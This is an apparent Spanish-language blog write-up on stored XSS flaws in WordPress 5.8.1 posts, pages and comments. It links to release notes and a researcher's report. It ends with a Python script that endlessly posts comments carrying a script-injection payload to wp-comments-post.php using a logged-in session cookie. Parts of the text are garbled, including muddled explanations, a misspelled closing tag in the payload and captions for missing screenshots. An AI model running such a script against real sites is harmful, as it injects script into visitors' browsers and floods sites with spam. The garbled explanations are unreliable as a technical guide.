He estado analizando la versión más reciente de WordPress, la cual presenta diversas vulnerabilidades. Tras realizar una investigación exhaustiva, a continuación, presento un informe detallado sobre las vulnerabilidades XSS identificadas.
¿Qué es XSS?
El Cross-Site Scripting (XSS) es una vulnerabilidad informática común en aplicaciones web, que permite a un atacante inyectar código JavaScript u otro tipo de código malicioso en páginas web visitadas por los usuarios. Este tipo de ataque puede ser utilizado para ejecutar scripts maliciosos en el navegador del usuario, comprometiendo la seguridad de la aplicación web y la integridad de los datos.
¿Cómo encontrar estas vulnerabilidades?
Aquí tienes un artículo sobre sobre WordPress menciona que lanzará una nueva actualización parchando muchas de sus vulnerabilidades.
Link: https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
WordPress: Menciona para diciembre publicar la nueva actualización.
- Link: https://patchstack.com/wordpress-security-issues-fixed-5-8-1/
- Link: https://codex.wordpress.org/WordPress_Versions
¿Quién reporto estas vulnerabilidades?
Michał Bentkowski reporto algunas vulnerabilidades.
- Link: https://twitter.com/SecurityMB/status/1436247108466659334/photo/1
¿Qué tipo de vulnerabilidad son?
Las vulnerabilidades que conozco están en crear un post, página y en los comentarios, esto también están constan que los roles.
Ejemplo de un ataque: El atacante puede estar registrado como editor y puede realizar este de vulnerabilidad llenándolo en su base de datos y también en el sitio.
ROLES:
Prueba de concepto:
Estoy haciendo la prueba de concepto con 5.8.1
NUEVO POST.
También vamos a realizar estas pruebas en un nuevo POST o nuevo artículo.
Esta vulnerabilidad cualquier persona que ingresar al sitio y puede reflejar esta vulnerabilidad.
NUEVA PÁGINA:
Esta vulnerabilidad puede afectar también al crear una página.
Podemos reflejar otra vez esta vulnerabilidad.
Nuevo comentario:
Se puede reflejar la vulnerabilidad si un usuario lo autoriza de bajo rol.
¿Qué puede hacer un atacante?
Puede generar la base de datos con esta vulnerabilidad con el siguiente código.
import requests from colorama import Fore import urllib3 import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) x = 2 while True: url = "https://example.com/wordpress/wp-comments-post.php" payload = f"comment={x}%3Cscript%3Ealert%281%29%3C%2Fscrip%3E&submit=Post+Comment&comment_post_ID=1&comment_parent=0&_wp_unfiltered_html_comment=ec631af52a" headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'https://example.com', 'DNT': '1', 'Connection': 'keep-alive', 'Referer': 'https://example.com/wordpress/?p=1', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_d3da788485a4c44d8e6f3d5d923ecd9d=freddy%7C1635229788%7CRsx33pcrz88XSaSBZ15fBp6QDKGkvtMcuymuSZx5TEm%7Cc735b522901f9e9c588ca07c0fc63a778536d6581e8de9531171a8578d96c343; wp-settings-time-2=1635054802', 'Upgrade-Insecure-Requests': '1', 'TE': 'Trailers' } response = requests.request("POST", url, headers=headers, data=payload, allow_redirects=False, verify=False) print(Fore.RED + '\n[+]') print(response.text) print(x) x += 1 time.sleep(2)
Una captura del código: